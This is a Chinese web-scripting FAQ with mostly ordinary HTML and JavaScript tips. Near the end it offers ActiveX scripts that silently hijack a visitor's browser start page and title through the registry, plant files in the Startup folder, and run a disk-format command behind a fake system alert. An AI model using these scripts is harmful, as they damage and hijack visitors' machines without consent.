<a href="#" style="cursor: se-resize">se-resize</a><br>
<a href="#" style="cursor: sw-resize">sw-resize</a><br>
<a href="#" style="cursor: s-resize">s-resize</a><br>
<a href="#" style="cursor: w-resize">w-resize</a><br>
<a href="#" style="cursor: text">text</a><br>
<a href="#" style="cursor: wait">wait</a><br>
<a href="#" style="cursor: help">help</a><br>
</body>


target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是

什么?

target="_parent"、上一层框架
target="_self" 、自身窗口、框架
target="_top" 最顶层框架。
更细点的解释,从织梦补给网找来的:
_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 BASE 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 FRAMESET)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結。


如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?
<LINK href="fav.ico" rel="shortcut icon">
加入HADE標簽中,圖片放入根目錄下,須是.ico格式.
有的空間不支援直接放在根目錄
必須加上
<LINK href="路徑/圖檔.ico" rel="shortcut icon">


请问如何去掉主页右面的滚动条?

 HTML 代码片段如下:
<body scroll="no">
<body style="overflow-y:hidden">

怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">  


请问如何忽视右键?

 HTML 代码片段如下:
<body oncontextmenu="return false">

怎样在同一页面内控制不同链接的CSS属性?
a:active{}
a:link{}
a:visited{}

a.1:active{}
a.1:link{}
a.1:visited{}
在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是
A.YOURS:LINK A.YOURS:HOVER
YOURS可以改作你自己的字
然后在选中某个连接后,在CSS面版中点中YOURS即可。
按需要,你可以定义N个标示,N种鼠标OVER的效果

电子邮件处理提交表单

 HTML 代码片段如下:
<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">
<input type=submit>
</form>

有没有可能用层来遮住FLASH?
1.在flash的parameters里加入 <param name="wmode" values="transparent">
2.<body onblur=self.focus()>  

如何根据屏幕分辨率调用相对应的页面?
先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的

然后在你的入口页面 index.htm 中判断:

 HTML 代码片段如下:
<html>
<head>
<script language=<B style="color:black;background-color:#A0FFFF">javascript</B>>
<!--
function mHref() {
if (screen.width == 1024) location.href = "htm2.htm";
else if (screen.width == 800) location.href = "htm1.htm";
else return(false);
}
//-->
</script>
</head>
<body onload="mHref();">
</body>
</html>

不用询问就关闭浏览器

 HTML 代码片段如下:
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="点击我关闭窗口" onclick="closes.Click();">
</body>

如何弹出只有状态栏的窗口?

 HTML 代码片段如下:
<html>
<head>
<title>open() close()</title>
<script language="<B style="color:black;background-color:#A0FFFF">javascript</B>" type="text/<B

style="color:black;background-color:#A0FFFF">javascript</B>">
<!--
 function openWin()
{
 var newWin=open("","","menubar=1,height=200");
 newWin.document.write("<form>");
 newWin.document.write("单击以下按钮关闭窗口:<p>");
 newWin.document.write("<input type=button value='关闭' onclick=window.close()>");
 newWin.document.write("</form>");
}
</script></head>
<body>
<div align=center>
<h2>单击以下按钮显示新窗口...</h2>
<form name=form1>
<input type=button value="新窗口1[只显示地址栏]" onclick=window.open(”,’new1′,’location=1′)>
<input type=button value="新窗口2[只显示状态栏]" onclick=window.open(”,”,’status=1′)>
<input type=button value="新窗口3[只显示工具栏]" onclick=window.open

(”,’new2′,’toolbar=1,height=200,width=450′)>
<input type=button value="新窗口4[只显示菜单栏]" onclick=openWin()>
<input type=button value="新窗口5[一个不少]" onclick=window.open(”,’new5′)>
<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open

(‘http://www.51js.com/forumdisplay.php?forumid=32#thread’,'new6′,’resizable=1′)>
</form>
</div>
</body>
</html>


第三页如下:
——————————————————————————–


如何改变iframe的src地址
 HTML 代码片段如下:
<body>
<input type="button" value="改变地址"

onClick="parent.displayinhere.location.href=’http://www.gznet.com/’">
<<B style="color:black;background-color:#ffff66">iframe</B> name="displayinhere" width=250px;

height=200px; src="http://www.51js.com">
</body>

如何让超链接没有下划线
在源代码中的<HEAD>…</HEAD>之间输入如下代码:
<style type="text/css"> <!–
a { text-decoration: none}
–> < /style>

页面打开时自动弹出一个窗口的代码怎么写? 

 HTML 代码片段如下:
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="<B style="color:black;background-color:#A0FFFF">javascript</B>">
<!–
function MM_openBrWindow(theURL,winName,features) { //v2.0
 window.open(theURL,winName,features);
}
//–>
</script>
</head>

<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow

(‘1212312.htm’,”,’width=400,height=400′)">
</body>
</html>

请问如何做到让一个网页自动关闭.

 HTML 代码片段如下:
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout(‘closes.Click()’,10000)">
这个窗口会在10秒过后自动关闭,而且不会出现提示.  </body>

如何让我的页面出现一个会讲话的小人?Merlin

 HTML 代码片段如下:
<HTML>
<HEAD>
<TITLE>默林</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>

<BODY>
<p><OBJECT id=sims classid=CLSID:D45FD31B-5C6E-11D1-9EC1-00C04FD7081F>
 </OBJECT>
 <SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林!");
Merlin.Play("Pleased");
Merlin.Think("可爱吗?");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈!");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必须装有office2000!!!</p>
</BODY>
</HTML>

 

这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统

中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现

下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用

Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的

精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发

回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我

还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。

其中:
用"\Spd=number\"
number是字数/分
例如:
Merlin.Speak "\Spd=62\Welcome to the 51js"
Merlin.Speak "\Spd=160\Welcome to the 51js"

还有,找到这句:
Merlin.LanguageID = 0×409;
改为0×804 (Simplified Chinese)
改为0×404 (Traditional Chinese)

要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!!
最终用户许可
http://msdn.microsoft.com/msagent/eula.asp
分发许可
http://msdn.microsoft.com/msagent/agentlic.asp

MSAgent 下载
http://activex.microsoft.com/activex/controls/agent2/MSagent.exe
http://agent.microsoft.com/agent2/chars/Merlin.exe
http://agent.microsoft.com/agent2/chars/Peedy.exe

资料:
http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp

如何几秒后转到别的页面?
<META HTTP-EQUIV="Refresh" CONTENT="时间;URL=地址">


 HTML 代码片段如下:
<META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://www.51js.com">
十秒中后跳到51JS.COM的首页

 


在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

 HTML 代码片段如下:
<html><head>
<STYLE>
body  {background-image:url(logo.gif);
     background-repeat:no-repeat; background-position:center }
</STYLE>

</head>

<body bgproperties="fixed" >
</body>

</html>

background-repeat:no-repeat; 是讓背景圖不占滿整個頁面
body bgproperties="fixed" 是拉動scroll時背景圖不動


文本输入框什么属性能实现不可输入?


 HTML 代码片段如下:
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>

怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?
只要在Layer中再插Iframe 或 Object 设z-Index值

 HTML 代码片段如下:
<div z-Index:2><object xxx></object></div> # 前面
<div z-Index:1><object xxx></object></div> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table

height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><<B

style="color:black;background-color:#ffff66">iframe</B> width=0 height=0></<B

style="color:black;background-color:#ffff66">iframe</B>></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><<B

style="color:black;background-color:#ffff66">iframe</B> height=100% width=100%></<B

style="color:black;background-color:#ffff66">iframe</B>></div>

 

如何让表格并排?
首先在第一个表里应该这样写:
"<table border=0 cellpadding=1 cellspacing=1 align=left>"
这table里最为关键是"align=left"这一句。

然后在第二个表里也应该加上align=left

这样,你的目的就达到了。

 HTML 代码片段如下:
<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好

</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好

</tr></td></table>
<br>还可以排三个
<br>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好

</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好

</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好

</tr></td></table>

如何让两个form表单行距之间不出现空格?
这样写
<TABLE><form><TR>…….</TR></form></TABLE>


 HTML 代码片段如下:
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="550" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000">
<form name="form1">
 <tr bgcolor="#FFFFFF">
  <td>aaaaaaaaaaaaa</td>
  <td>bbbbbbbbbbbbbb</td>
  <td>ccccccccccccccc</td>
 </tr>
</form>
<form name="form1">
 <tr bgcolor="#FFFFFF">
  <td>dddddddddddddd</td>
  <td>eeeeeeeeeeeeee</td>
  <td>fffffffffffffffff</td>
 </tr>
</form>
</table>

</body>
</html>

如何让页面自动刷新?
方法一,用refresh


 HTML 代码片段如下:
<head>
<meta http-equiv="refresh" content="5">
</head>
5表示刷新时间
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


方法二,使用setTimeout控制
<img src=/logo.gif>
<script>
function rl(){
document.location.reload()
}
setTimeout(rl,2000)
</script>


四页如下:

如何给文本连接加上提示语言?

 HTML 代码片段如下:
<a href="#" title="我出来拉">click me</a>


英文排版的问题:怎么能让英自动排列整齐?
请使用css中的
text-align: justify; 

 HTML 代码片段如下:
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7"

bgcolor="#f7f7f7">
<tr>
<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br>
who are you you are a aaa is it comprehention who are you you are a pig is it comprehention
who are you you are a aaa is it comprehention
who are you you are a aaa is it comprehention
</font></td>
</tr>
</table>

如何禁止自己的页面在别人的框架里打开?
把以下代码加至你的<head>区
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>


在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()

如何不用图片生成圆角的表格?


 HTML 代码片段如下:
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=Content-Type content="text/html; charset=GB2312">
<link rel=Original-File href="文档%201">
<meta name=ProgId content=Word.Document>
<meta name=Generator content="Microsoft Word 9">
<meta name=Originator content="Microsoft Word 9">
<link rel=File-List href="./文档%201.files/filelist.<B style="color:black;background-

color:#99ff99">xml</B>">
<link rel=Edit-Time-<B style="color:black;background-color:#ff9999">Data</B> href="./文档%

201.files/editdata.mso">
<!–[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]–><!–[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <o:DocumentProperties>
 <o:Author>zhy</o:Author>
 <o:Template>Normal</o:Template>
 <o:Revision>1</o:Revision>
 <o:TotalTime>1</o:TotalTime>
 <o:Created>2003-05-10T09:20:00Z</o:Created>
 <o:Pages>1</o:Pages>
 <o:Characters>1</o:Characters>
 <o:Company>yd</o:Company>
 <o:Lines>1</o:Lines>
 <o:Paragraphs>1</o:Paragraphs>
 <o:CharactersWithSpaces>1</o:CharactersWithSpaces>
 <o:Version>9.2812</o:Version>
 </o:DocumentProperties>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]–><!–[if gte mso 9]><<B

style="color:black;background-color:#99ff99">xml</B>>
 <w:WordDocument>
 <w:View>Normal</w:View>
 <w:Zoom>0</w:Zoom>
 <w:PunctuationKerning/>
 <w:DrawingGridVerticalSpacing>7.8 磅</w:DrawingGridVerticalSpacing>
 <w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEvery>
 <w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery>
 <w:Compatibility>
  <w:SpaceForUL/>
  <w:BalanceSingleByteDoubleByteWidth/>
  <w:DoNotLeaveBackslashAlone/>
  <w:ULTrailSpace/>
  <w:DoNotExpandShiftReturn/>
  <w:AdjustLineHeightInTable/>
  <w:UseFELayout/>
 </w:Compatibility>
 <w:DoNotOptimizeForBrowser/>
 </w:WordDocument>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]–>
<style>
<!–
 /* Font Definitions */
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-alt:SimSun;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
@font-face
{font-family:"\@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";
margin:0cm;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
mso-pagination:none;
font-size:10.5pt;
mso-bidi-font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:宋体;
mso-font-kerning:1.0pt;}
 /* Page Definitions */
@page
{mso-page-border-surround-header:no;
mso-page-border-surround-footer:no;}
@page Section1
{size:595.3pt 841.9pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
mso-header-margin:42.55pt;
mso-footer-margin:49.6pt;
mso-paper-source:0;
layout-grid:15.6pt;}
div.Section1
{page:Section1;}
–>
</style>
<!–[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <o:shapedefaults v:ext="edit" spidmax="2050"/>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]–><!–[if gte mso 9]><<B

style="color:black;background-color:#99ff99">xml</B>>
 <o:shapelayout v:ext="edit">
 <o:idmap v:ext="edit" <B style="color:black;background-color:#ff9999">data</B>="1"/>
 </o:shapelayout></<B style="color:black;background-color:#99ff99">xml</B>><![endif]–>
</head>

<body lang=ZH-CN style=’tab-interval:21.0pt;text-justify-trim:punctuation’>

<div class=Section1 style=’layout-grid:15.6pt’>

<p class=MsoNormal><!–[if gte vml 1]><v:shapetype id="_x0000_t176"
 coordsize="21600,21600" o:spt="176" adj="2700"

path="m@0,0qx0@0l0@2qy@0,21600l@1,21600qx21600@2l21600@0qy@1,0xe">
 <v:stroke joinstyle="miter"/>
 <v:formulas>
 <v:f eqn="val #0"/>
 <v:f eqn="sum width 0 #0"/>
 <v:f eqn="sum height 0 #0"/>
 <v:f eqn="prod @0 2929 10000"/>
 <v:f eqn="sum width 0 @3"/>
 <v:f eqn="sum height 0 @3"/>
 <v:f eqn="val width"/>
 <v:f eqn="val height"/>
 <v:f eqn="prod width 1 2"/>
 <v:f eqn="prod height 1 2"/>
 </v:formulas>
 <v:path gradientshapeok="t" limo="10800,10800" o:connecttype="custom"
 o:connectlocs="@8,0;0,@9;@8,@7;@6,@9" textboxrect="@3,@3,@4,@5"/>
</v:shapetype><v:shape id="_x0000_s1028" type="#_x0000_t176" style=’position:absolute;
 left:0;text-align:left;margin-left:135pt;margin-top:31.2pt;width:171pt;
 height:101.4pt;z-index:1′>
 <v:textbox>
 <![if !mso]>
 <table cellpadding=0 cellspacing=0 width="100%">
  <tr>
  <td><![endif]>
  <div>
  <p class=MsoNormal><span style=’font-family:宋体;mso-ascii-font-family:"Times New Roman";
  mso-hansi-font-family:"Times New Roman"’>这个可以算吗</span></p>
  </div>
  <![if !mso]></td>
  </tr>
 </table>
 <![endif]></v:textbox>
</v:shape><![endif]–><![if !vml]><span style=’mso-ignore:vglayout’>

<table cellpadding=0 cellspacing=0 align=left>
 <tr>
 <td width=180 height=42></td>
 </tr>
 <tr>
 <td></td>
 <td><img width=231 height=138 src="./文档%201.files/image001.gif"
 alt=" 这个可以算吗" v:shapes="_x0000_s1028"></td>
 </tr>
</table>
</span><![endif]><span lang=EN-US><![if !supportEmptyParas]> <![endif]><o:p></o:p></span></p>
</div>
</body>
</html>

如何在java script中捕捉错误信息?

 HTML 代码片段如下:
<script>
try{
 var s=a.b;
}
catch(anError)
{
 alert(anError.description);
}
</script>


JS正则表达式replace用法
下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp
对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名
称。
<SCRIPT LANGUAGE="java script1.2">
re = /(\w+)\s(\w+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
显示结果:"Smith, John".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?
[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, …, $9属性
用圆括号括着的匹配子串,如果有的话。
是RegExp的属性
静态,只读

在java script 1.2, NES 3.0以上版本提供
描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该
属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的
圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?
 HTML 代码片段如下:
<script>
var reg=/((\w+)\s(\w+))/;
var str=’John Smith’;
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+’\n’+$2+’\n’+$3);>View</button>

如何实现首页全屏幕显示?

 HTML 代码片段如下:
<html>
<body><script language="<B style="color:black;background-color:#A0FFFF">javascript</B>">
var coolw=642
var coolh=400
var coolhuang=window.open

("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,toolbar=0,location=0

,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>

——————————————————————————–

– 作者: 碧云
– 发布时间: 2001/11/13 04:04pm

如何动态改变一个Object对象的样式表风格的Class?

 HTML 代码片段如下:
<style>
.btn1{
 background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className=’btn1′">你点我一下我的样式表就改为使用.btn1了</button>

如何用脚本来修改用户系统的注册表?

 HTML 代码片段如下:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)
{
 var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
 Shor.TargetPath = SiteURL;
 Shor.Save();
}


function f(){
 try
 {
 //ActiveX 初始化
 a1=document.applets[0];
 a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Shl = a1.GetObject();
 a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
 a1.createInstance();
 FSO = a1.GetObject();
 a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Net = a1.GetObject();

 try
 {
  if (documents .cookie.indexOf("Chg") == -1)
  {
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  //设置Cookie完毕

    //设置主页
  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",

"http://www.51js.com/");
   //修改浏览器的标题
  Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet

Explorer已经被修改过了 51JS.COM");
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  

  var WF, Shor, loc;
  WF = FSO.GetSpecialFolder(0);
  loc = WF + "\\Favorites";
  if(!FSO.FolderExists(loc))
  {
   loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
   if(!FSO.FolderExists(loc))
   {
   return;
   }
  }
  
  AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
 

  }
 }
 catch(e)
 {}
 }
 catch(e)
 {}
}

function init()
{
 setTimeout("f()", 1000);
}

init();

</script>

格式化硬盘的,
把启动菜单下的automat.hta删除即可,这是格式化 a:盘
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id=’wsh’ classid=’clsid:F935DC22-1CF0-11D0-ADB9-

00C04FD58A0B’></object><SCRIPT>wsh.Run(’start /m format a: /q /autotest /u’);alert(‘Note:Windows is

configing the system,do not interrupt it!.’);</"+"SCRIPT>";
scr.write();
</script>


<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>

<SCRIPT LANGUAGE="java script">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=\’欢迎你访问无忧脚本!\\请您将在启动文件夹内的51js.com.HTM删除即可\’;alert

(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty(‘DOC’,doc);
}

function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty(‘Path’,'"+fn+"’)",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke(‘write’,VA);alert(‘"+fn+" 被建立’);",2000);
}
setTimeout("f()",1000)
</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
‘ 获取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一样的!


如何监听一个窗口被关闭了? 

 HTML 代码片段如下:
<body onunload="alert(‘你关闭了这个窗口’)">

什么是innerHTML、outerHTML………还有innerText?
自己用代码来体会一下

 HTML 代码片段如下:
<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br>

 

 

关于try….catch..的语法捕捉错误使用例子

try{
可能会引起错误的语句
}
catch(表达式)
{
错误处理语句
}
例如:


 HTML 代码片段如下:
<button onclick=TryDemo()>Try…Catch…Demo</button>
<script>
function TryDemo()
{
try{
 var a=b/2;//注意由于b不存在,所以会引发一个异常。
}
catch(e)
{
 alert(‘错误类型:’+e+’\n错误信息:’+e.Descrition);
}
}
</script>

 

如何获得一个Select中选中option的values?
select.options[select.selectedIndex].values


this 和self 有什么区别,各在哪里用
self指代窗口。
this的情况:

1. 用于元素事件代码中指代元素本身:

 HTML 代码片段如下:
<button onclick=alert(this.value)>指代元素本身</button>


2. 用于function中指代用function构造的类。
<script>
function Car(){this.name=’Car’;};alert(new Car().name);
</script>

如何禁止Ctrl+N?

 HTML 代码片段如下:
<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>


所有dhtml对象的属性和方法其实在你本机的硬盘上就有!
查找:dhtmled.ocx
或在delphi/c++builder中import activeX 选dhtmled.ocx。


window方法列表!
发现经常有人问一些有关窗口操作的问题,
所以花了些时间整理出这篇文章,
希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)
//弹出一个确认消息框
attachEvent(sEvent,pFunction)
//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数
blur()
//令窗口丧失焦点

clearInterval(iIntervalID)
//清除指定定时器的关联函数
clearTimeout(iTimeoutID)
//清除指定延时器的关联函数
close()
//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。
confirm([sMessage])
//弹出“确定/取消”对话框
createPopup([vArgs])
//创建一个隐藏的弹出式窗口,vArgs是未来考虑提供的参数,返回窗口句柄
detachEvent(sEvent,pFunction)
//取消一个事件的某个绑定函数
execScript(sExpression, sLanguage)
//用指定的语言执行代码
focus()
//激活窗口

moveBy(iX,iY)
//用相对方式移动窗口
moveTo(iLeft,iTop)
//用绝对方式移动窗口
navigate(sURL)
//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])
//打开新窗口,并返回窗口句柄
//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本

窗口; _top:在顶级窗口里打开;*)
//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes

| no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1

| 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0

};titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()
//打印当前窗口文档内容
prompt( [sMessage] [, sDefaultvalues])
//弹出输入对话框
resizeBy(iX, iY)
//以相对方式改变窗口大小
resizeTo(iWidth, iHeight)
//以绝对方式改变窗口大小

scroll(iX,iY)
滚动窗口,与scrollTo一样的效果,出于兼容性的考虑保留下来的方法
scrollBy(iX, iY)
//用相对方式滚动窗口
scrollTo(iX, iY)
//用绝对方式滚动窗口
setActive()
//激活目标而不将视线转向目标
setInterval(vCode, iMilliSeconds [, sLanguage])
//定时执行一段代码
setTimeout(vCode, iMilliSeconds, sLanguage)
//延时执行一段代码
showHelp(sURL [, vContextID])
//打开一个帮助文件,sURL为帮助文档地址,vContextID为帮助索引号
showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])
//打开一个模式对话框
//vArguments=需要向新开模式对话框传递的参数
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes |

no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes

| no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on |

off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])
//打开一个非模式对话框
//vArgument=需要向新开模式对话框传递的参数
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes |

no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes

| no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on |

off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

execCommand的完全参考(中文版)
document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand("2D-Position","false","true");使绝对定位的对象可直接拖动;ie5.5
AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使对象定位变成绝对定位;ie5.5
BackColor;document.execCommand("BackColor","false",sColor);设置背景颜色;ie4.0
BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持
BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand("Bold","false",null);

使选中区域的文字加粗;ie4.0
BrowseMode;none;设置浏览器模式?;不支持 Copy;
